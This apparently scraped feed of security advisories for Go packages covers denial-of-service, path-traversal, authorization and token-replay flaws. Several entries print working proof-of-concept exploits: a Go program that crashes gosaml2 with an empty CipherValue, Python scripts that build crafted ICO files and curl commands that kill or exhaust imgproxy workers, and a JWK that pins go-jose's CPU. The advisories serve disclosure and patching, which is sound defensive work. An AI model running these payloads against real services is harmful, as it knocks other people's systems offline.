The NATS Server supports MQTT clients, including authentication and parsing of MQTT CONNECT packets.
Problem Description
An unauthenticated MQTT client could cause the server to retain large incomplete MQTT CONNECT packets before authentication completed.
The parser retained partial pre-authentication packet data while waiting for the advertised MQTT packet length to be completed. An attacker could therefore consume server memory until authentication timeouts closed the connections.
Affected Versions
Versions v2.14.2, v2.12.11 and below are vulnerable. The issue is fixed in v2.14.3 and v2.12.12.
Workarounds
Deployments not using MQTT are not affected. Deployments that need MQTT should upgrade to a fixed release.
References
- GHSA advisory: https://github.com/nats-io/nats-server/security/advisories/GHSA-r72h-j7qq-v6qg
- Credit: Asritha Bodepudi, Trail of Bits
- Exploitation
- No known exploitation
- EPSS
- 0.74% chance of exploitation in the next 30 days, higher than 50.7% of CVEs
- CVSS
- 7.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- < 2.12.12 · fixed in 2.12.12
- Weakness
- CWE-400
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-128073GHSA-5HJ8-Q7FV-QRJ6 gosaml2: Unauthenticated panic decrypting an EncryptedAssertion with a short or empty CipherValue Package: github.com/russellhaering/gosaml2 fixed in 0.12.0 Published Published
Summary
An attacker who can supply a crafted SAML Response for parsing can crash a gosaml2 service provider by sending an EncryptedAssertion with AES-GCM encryption metadata and a CipherValue shorter than the GCM nonce size (12 bytes). The library panics with slice bounds out of range before any validation completes.
This is a distinct issue from GHSA-hwqm-qvj9-4jr2, which addressed panics in the AES-CBC decryption path (commit 3418f9ae09063ff8df0ce1bd93f24e538e614def, included in v0.10.0). That fix added a block-size check for CBC but left the AES-GCM path completely unprotected.
Details
ValidateEncodedResponse() decrypts EncryptedAssertion nodes before signature or content validation completes. There are two call sites:
- Signed Response branch --
decode_response.go#L341 - Unsigned Response branch --
decode_response.go#L388
Both call decryptAssertions() (decode_response.go#L150-L200), which calls EncryptedAssertion.DecryptBytes() at decode_response.go#L176.
Inside DecryptBytes() (types/encrypted_assertion.go#L34-L92), the AES-GCM branch (line 53, case MethodAES128GCM, MethodAES192GCM, MethodAES256GCM:) slices the decoded ciphertext without checking its length at line 59:
nonce, data := data[:c.NonceSize()], data[c.NonceSize():]
If CipherValue decodes to fewer than 12 bytes (GCM nonce size), Go panics with slice bounds out of range. All three GCM key sizes (AES-128-GCM, AES-192-GCM, AES-256-GCM) share the same vulnerable branch.
Comparison with the patched CBC path: The CBC branch (lines 65-88 of the same file) correctly checks len(data) % k.BlockSize() != 0 before slicing -- this was the fix for GHSA-hwqm-qvj9-4jr2. The GCM branch has no equivalent guard.
The attacker only needs the SP's public certificate (typically available in SAML metadata) to wrap a symmetric key via RSA-OAEP. The CipherValue for the assertion body can be left empty. No valid signature is required.
PoC
Test environment:
- Apple M4 (arm64)
- Go 1.26.1
gosaml2v0.11.0 (commit636e7dda202a4d669644e72404a82616ffcbe004)
Self-contained reproduction:
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/sha1"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/base64"
"fmt"
"math/big"
"os"
"time"
saml2 "github.com/russellhaering/gosaml2"
dsig "github.com/russellhaering/goxmldsig"
)
func main() {
// Generate a throwaway SP key pair.
key, _ := rsa.GenerateKey(rand.Reader, 2048)
tmpl := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "sp.example"},
NotBefore: time.Now().Add(-time.Hour),
NotAfter: time.Now().Add(time.Hour),
}
certDER, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)
cert := tls.Certificate{
Certificate: [][]byte{certDER},
PrivateKey: key,
}
// Wrap an attacker-chosen symmetric key with the SP's public cert.
symKey := make([]byte, 16)
wrappedKey, _ := rsa.EncryptOAEP(sha1.New(), rand.Reader, &key.PublicKey, symKey, nil)
responseXML := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
Version="2.0" ID="_id" IssueInstant="2026-03-19T00:00:00Z">
<saml2:Issuer>issuer.example</saml2:Issuer>
<saml2p:Status>
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</saml2p:Status>
<saml2:EncryptedAssertion>
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2009/xmlenc11#aes128-gcm"/>
<xenc:CipherData><xenc:CipherValue></xenc:CipherValue></xenc:CipherData>
<xenc:KeyInfo>
<xenc:EncryptedKey>
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/>
<xenc:CipherData><xenc:CipherValue>%s</xenc:CipherValue></xenc:CipherData>
</xenc:EncryptedKey>
</xenc:KeyInfo>
</xenc:EncryptedData>
</saml2:EncryptedAssertion>
</saml2p:Response>`, base64.StdEncoding.EncodeToString(wrappedKey))
encodedResponse := base64.StdEncoding.EncodeToString([]byte(responseXML))
sp := &saml2.SAMLServiceProvider{
AssertionConsumerServiceURL: "https://sp.example/acs",
SPKeyStore: dsig.TLSCertKeyStore(cert),
}
defer func() {
if r := recover(); r != nil {
fmt.Printf("panic: %v\n", r)
os.Exit(0)
}
fmt.Println("no panic")
os.Exit(1)
}()
_, err := sp.ValidateEncodedResponse(encodedResponse)
fmt.Printf("returned err: %v\n", err)
}
Observed output:
panic: runtime error: slice bounds out of range [:12] with capacity 0
Impact
An attacker who can supply a crafted SAML Response for parsing can crash the service provider process with a single small payload. The library does not use recover(), so the panic propagates and terminates the goroutine. The crash happens before any response validation completes, so no valid IdP relationship or signature is required.
Suggested Fix
Add a ciphertext length check before splitting out the GCM nonce, matching the defensive pattern already used in the CBC branch:
if len(data) < c.NonceSize() {
return nil, fmt.Errorf("encrypted data is too short for AES-GCM nonce")
}
Addendum: the CBC path was also affected
This advisory originally described the AES-GCM branch only, and stated that the CBC branch was correctly guarded by the fix for GHSA-hwqm-qvj9-4jr2. That turned out to be incomplete. The CBC guard was:
if len(data)%k.BlockSize() != 0 {
return nil, fmt.Errorf(...)
}
nonce, data := data[:k.BlockSize()], data[k.BlockSize():]
0 % 16 == 0, so an empty CipherValue passes the modulo check and panics on the following slice with slice bounds out of range [:16] with capacity 0. The earlier fix addressed a later panic in the padding-length read, not this one.
That second case was reported independently by @ericchiang and is merged into this advisory. Both researchers are credited as reporters above. Both branches now carry explicit length checks.
Patch
Fixed in v0.12.0 by https://github.com/russellhaering/gosaml2/pull/281, which adds len(data) < c.NonceSize() before the GCM slice and len(data) < k.BlockSize() before the CBC slice.
- Exploitation
- No known exploitation
- EPSS
- 0.40% chance of exploitation in the next 30 days, higher than 25.7% of CVEs
- CVSS
- 7.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- <= 0.11.0 · fixed in 0.12.0
- Weakness
- CWE-20, CWE-248
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 19, 2026 · first seen here 5 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-125327GHSA-5QG5-RGP6-J5M5 pgEdge RAG Server unbounded corpus read allows resource exhaustion from unauthenticated requests Package: github.com/pgedge/pgedge-rag-server fixed in 1.0.1-0.20260729020411-a09d4872356b Published Published
Impact
An unauthenticated caller able to reach the query endpoint could exhaust database and server resources with ordinary, inexpensive requests.
The keyword-search arm read the entire corpus on every request and rebuilt an in-memory BM25 index from it, so the cost of serving a query scaled with the size of the source table rather than with the size of the result set. Each request cost the server and the tenant's database far more than it cost the caller to make, which makes this a materially more effective denial-of-service lever than flooding the endpoint with ordinary requests. The amplification factor grows with corpus size, so the largest deployments are the most exposed.
Hybrid search was enabled by default and configured per pipeline rather than per request, so a caller could not opt out of the keyword arm and an operator could not leave it available to some requests but not others.
Who is affected: any deployment of pgEdge RAG Server at 1.0.0 or earlier, including all alpha and beta pre-releases, whose query endpoint is reachable by an untrusted party. The endpoint required no authentication and applied no rate limiting.
In 1.0.0, internal/database/search.go:130 built the corpus query with no LIMIT:
query = fmt.Sprintf(`
SELECT ...
FROM %s%s`,
tableIdent,
filterClause)
FetchDocuments accepted no limit parameter at all, so neither a caller nor the orchestrator had any way to bound the read.
internal/config/loader.go:197 defaulted HybridEnabled to true, and internal/server/middleware.go:37 applied only logging, panic recovery and optional CORS.
Patches
Fixed in 2.0.0. Upgrade to 2.0.0 or later.
Reads are capped by a new per-pipeline search.bm25_max_documents, defaulting to 10000, plumbed through SearchBackend.FetchDocuments and applied as a parameterised LIMIT. There is deliberately no unlimited value: a non-positive setting is rejected at configuration load time rather than silently treated as unbounded.
Requests that reach the cap are logged, because keyword recall is partial at that point and an operator should not have to infer it. A new disable_hybrid request field lets a caller skip the expensive arm per query, and can only ever turn it off.
After upgrading, review the default search.bm25_max_documents value of 10000 against the size of your corpus. A cap far below corpus size silently reduces keyword recall.
Workarounds
Place the server behind an authenticating, rate-limiting reverse proxy.
Setting hybrid_enabled: false on each pipeline removes the keyword arm and with it the unbounded read, at the cost of keyword recall. This is the only mitigation available without a proxy.
Neither is a substitute for upgrading.
- Exploitation
- No known exploitation
- EPSS
- 0.63% chance of exploitation in the next 30 days, higher than 44.6% of CVEs
- CVSS
- 7.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- < 1.0.1-0.20260729020411-a09d4872356b · fixed in 1.0.1-0.20260729020411-a09d4872356b
- Weakness
- CWE-405, CWE-770
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 12, 2026 · first seen here 3 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-102657GHSA-G3C2-RJQ2-C763 esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal Package: github.com/esm-dev/esm.sh/web fixed in 0.2.0 Published Published
esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.
- Exploitation
- No known exploitation
- EPSS
- 3.7% chance of exploitation in the next 30 days, higher than 90.4% of CVEs
- CVSS
- 7.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Versions
- < 0.2.0 · fixed in 0.2.0
- Weakness
- CWE-22
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 6, 2026 · first seen here 3 min ago
CVSS score: 7.5 Severity: High Identifier: GHSA-494M-4556-WF5P imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash Package: github.com/imgproxy/imgproxy/v3 fixed in 4.0.17 Published Published
Summary
Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).
Details
In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:
uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated
uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated
if ((num_colors == 0) && (bpp <= 8))
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;
int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer
height = height / 2;
With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).
PoC
# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA' # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
# HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
# Go panic dump → exit code 2. One request, one dead worker.
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)
Impact
Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 7.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- >= 3.3.0, < 4.0.17 · fixed in 4.0.17
- Weakness
- CWE-125, CWE-787
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Oct 30, 2026 · first seen here 1 min ago
CVSS score: 7.5 Severity: High Identifier: GHSA-MMQ5-XM89-9PFG imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field Package: github.com/imgproxy/imgproxy/v3 fixed in 4.0.16 Published Published
Summary
Unbounded and unvalidated memory allocation in imgproxy's ICO loader (vips/icoload.c). An attacker-controlled data_size field (u32) from the ICO directory entry is passed directly to VIPS_MALLOC without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.
Details
In vips_foreign_load_ico_header in vips/icoload.c, the selected directory entry's data_size is read and used directly for the allocation:
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);
// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
There is no validation that data_size is sane nor any check that the file actually contains data_size bytes at the declared data_offset. A crafted 23-byte ICO whose directory entry declares data_size = 0xfa000068 (~4GB) drives VIPS_MALLOC(NULL, ~4GB + 14).
PoC
# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
# OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
# decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
# transiently — repeatable memory exhaustion).
Impact
Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 7.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- >= 3.3.0, <= 4.0.15 · fixed in 4.0.16
- Weakness
- CWE-400
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Oct 30, 2026 · first seen here 1 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-118759GHSA-WG5Q-X4J9-QM54 Kubeflow Pipelines: Run-log endpoint permits unauthorized access to pod logs Package: github.com/kubeflow/pipelines fixed in 0.0.0-20260904182349-be4723e33727 Published Published
Kubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflows. Prior to 2.18.0, the API server's GET /apis/v1alpha1/runs/{run_id}/nodes/{node_id}/log handler retrieved logs without authorizing the caller against the selected run. A caller who can reach the backend and knows a victim run ID and suitable pod or node identifier can read live or archived logs with the API server's permissions. For live logs, the caller-controlled node ID was also accepted as a pod name without verifying that the pod belonged to the requested run, allowing a known run ID to select the namespace of an unrelated pod and read its main container logs. The handler does not authenticate requests itself, although an external authentication gate or network policy can limit reachability. Exposed logs can contain sensitive workload data or credentials. This issue is fixed in version 2.18.0.
- Exploitation
- No known exploitation
- EPSS
- 0.59% chance of exploitation in the next 30 days, higher than 42.4% of CVEs
- CVSS
- 7.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Versions
- < 0.0.0-20260904182349-be4723e33727 · fixed in 0.0.0-20260904182349-be4723e33727
- Weakness
- CWE-200, CWE-862
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 29, 2026 · first seen here 3 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-118761GHSA-8FMV-6RG5-5924 Kubeflow Pipelines: Pipeline archive upload allows decompression bomb to exhaust server memory Package: github.com/kubeflow/pipelines fixed in 0.0.0-20260831164314-ba9ae72cc860 Published Published
Kubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflows. Prior to 2.18.0, the API server decompressed uploaded pipeline archives without adequately bounding expanded data while locating or reading the pipeline file. A small ZIP or gzip-compressed tar archive can consume disproportionately large memory and exhaust API-server resources. Multipart pipeline and pipeline-version upload processing performs decompression before namespace authorization, so a reachable caller does not need a successful pipeline-create authorization decision. URL-import handlers authorize before fetching and decompressing a remote archive. The amount of expansion required to interrupt service depends on deployment resource limits and concurrent activity, and no specific archive is guaranteed to crash every deployment. This issue is fixed in version 2.18.0.
- Exploitation
- No known exploitation
- EPSS
- 0.68% chance of exploitation in the next 30 days, higher than 47.8% of CVEs
- CVSS
- 7.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- < 0.0.0-20260831164314-ba9ae72cc860 · fixed in 0.0.0-20260831164314-ba9ae72cc860
- Weakness
- CWE-409
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 29, 2026 · first seen here 3 min ago
CVSS score: 7.5
Severity: High
Identifier: CVE-2026-118650GHSA-375P-5QHX-8WQ4
Echo's middleware.Static: %2F-encoded path bypasses route/group middleware guarding a statically-served path
Package: github.com/labstack/echo/v5 fixed in 5.4.0
Published Published
Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, a globally mounted middleware.Static instance can interpret an encoded request path differently from Echo's router because the router matches the still-encoded path while the static handler uses the decoded URL.Path. The advisory demonstrates an encoded slash resolving to a file under the static root through the global static middleware, but the source is internally inconsistent about whether a route or group guard protects the corresponding literal path in that global-mount configuration. This issue is fixed in 4.16.0 and 5.4.0.
- Exploitation
- No known exploitation
- EPSS
- 0.52% chance of exploitation in the next 30 days, higher than 37.8% of CVEs
- CVSS
- 7.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Versions
- < 5.4.0 · fixed in 5.4.0
- Weakness
- CWE-177, CWE-863
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 28, 2026 · first seen here 4 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-116587GHSA-MGCC-CWW5-FP2Q Go JOSE: DoS when parsing JWKs that contain RSA keys Package: github.com/go-jose/go-jose/v4 fixed in 4.1.6 Published Published
Summary
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
Details
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
Proof of concept
No special configuration of go-jose is required to reproduce this vulnerability.
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"
"github.com/go-jose/go-jose/v4"
)
func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)
jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}
protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)
jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)
start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}
Impact
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Credits
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
- Exploitation
- No known exploitation
- EPSS
- 0.64% chance of exploitation in the next 30 days, higher than 45.1% of CVEs
- CVSS
- 7.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- <= 4.1.5 · fixed in 4.1.6
- Weakness
- CWE-407, CWE-770
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Oct 27, 2026 · first seen here 1 min ago
CVSS score: 7.4 Severity: High Identifier: CVE-2026-71861GHSA-WQ26-3J2M-4HVV Chainguard SDK: AWS SigV4 token replay in auth/aws.VerifyToken — Chainguard-Audience/Chainguard-Identity binding headers not required in SignedHeaders Package: chainguard.dev/sdk fixed in 0.1.107 Published Published
Summary
The auth/aws package of the chainguard.dev/sdk Go library provides Chainguard's AWS-backed identity federation (an AWS workload proves its identity to Chainguard by signing an AWS STS GetCallerIdentity request). Its verifier, VerifyToken, reads the Chainguard-Audience and Chainguard-Identity binding headers from a presented token but does not require them to be covered by the SigV4 signature. AWS STS validates only the headers listed in SignedHeaders and ignores all others, so an attacker can take a GetCallerIdentity request that a victim signed for a different relying party, inject or rewrite those two headers after signing (without invalidating the signature), and replay it to any service that authenticates callers with VerifyToken. The binding those headers were meant to provide is therefore forgeable — a verifier-side (relying-party) authentication bypass / cross-service token replay.
Background
The package uses the standard "signed GetCallerIdentity" pattern — the same approach HashiCorp Vault's AWS auth method and Kubernetes aws-iam-authenticator use: the caller signs an AWS STS GetCallerIdentity request with its AWS credentials to prove who it is, and presents that signed request as a bearer token. It has two halves:
GenerateToken(client): builds theGetCallerIdentityrequest, adds theChainguard-AudienceandChainguard-Identityheaders that bind the proof to a specific Chainguard audience (issuer) and assumable identity, SigV4-signs it, and serializes it into a token.VerifyToken(relying party): decodes the token, checks those two binding headers, forwards the request to AWS STS to confirm the caller's real AWS identity (ARN), and returns it so a Chainguard token can be issued for that identity.
The binding headers exist so a proof minted for one audience/identity cannot be reused for another — a defense against cross-service replay — and their security depends entirely on being covered by the SigV4 signature.
Impact
A relying party calling auth/aws.VerifyToken can be induced to accept a GetCallerIdentity proof that a victim produced for an unrelated purpose — for example a request minted for HashiCorp Vault's AWS auth method, Kubernetes aws-iam-authenticator, a different audience, or one captured from logs or a proxy — and to treat it as proof of the victim's AWS identity for an attacker-chosen audience and identity. The signed request is valid within its ~15-minute window. No access to the victim's AWS credentials is required; the attacker only needs a fresh signed GetCallerIdentity request from the victim principal.
Code that uses only auth/aws.GenerateToken (token generation) is not affected — the generator correctly includes the binding headers in the signature. Only verifiers using auth/aws.VerifyToken are affected.
Affected versions
All released versions of chainguard.dev/sdk that include auth/aws.VerifyToken, up to and including v0.1.106.
Patches
Fixed in chainguard.dev/sdk v0.1.107. The fix requires both the Chainguard-Audience and Chainguard-Identity headers to be present in the request's SigV4 SignedHeaders before their values are trusted (mirroring the mitigation HashiCorp Vault applies by requiring X-Vault-AWS-IAM-Server-ID to be signed). It additionally adds defense-in-depth checks on the request method, the STS host, and the request timestamp. Upgrade to v0.1.107 or later.
Workarounds
There is no client-side workaround; the fix is in the verifier. Operators of services that verify AWS-backed identities with VerifyToken should upgrade as soon as the patched release is available.
References
- AWS Signature Version 4 — signed headers: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_sigv.html
- Comparable mitigation: HashiCorp Vault requires the
X-Vault-AWS-IAM-Server-IDheader to appear inSignedHeadersbefore trusting it.
Credits
Reported by Kris Kennaway (Datadog).
- Exploitation
- No known exploitation
- EPSS
- 0.26% chance of exploitation in the next 30 days, higher than 11.2% of CVEs
- CVSS
- 7.4 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Versions
- <= 0.1.106 · fixed in 0.1.107
- Weakness
- CWE-290, CWE-294, CWE-347
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 18, 2026 · first seen here 5 min ago
CVSS score: 7.3 Severity: High Identifier: CVE-2026-63198GHSA-8CFQ-JGF7-8M27 traQ: Privilege escalation by OAuth prompt=none request Package: github.com/traptitech/traq fixed in 1.0.0-rc.2.0.20260629134940-5510fe8aa9bb Published Published
traQ is a messenger application built for Digital Creators Club traP. Prior to 3.28.3, OAuth2 silent authorization requests using prompt=none with an empty or omitted scope parameter check prior consent against the empty requested scope set even though all scopes registered for the client become eligible for issuance. An attacker who controls an OAuth client capable of receiving authorization codes can target a user who previously consented to only some client scopes and obtain an access token containing broader registered scopes without additional consent. A user who has never consented to the client still receives consent_required. This issue is fixed in version 3.28.3.
- Exploitation
- No known exploitation
- EPSS
- 0.37% chance of exploitation in the next 30 days, higher than 23.1% of CVEs
- CVSS
- 7.3 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Versions
- < 1.0.0-rc.2.0.20260629134940-5510fe8aa9bb · fixed in 1.0.0-rc.2.0.20260629134940-5510fe8aa9bb
- Weakness
- CWE-863
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 3, 2026 · first seen here 3 min ago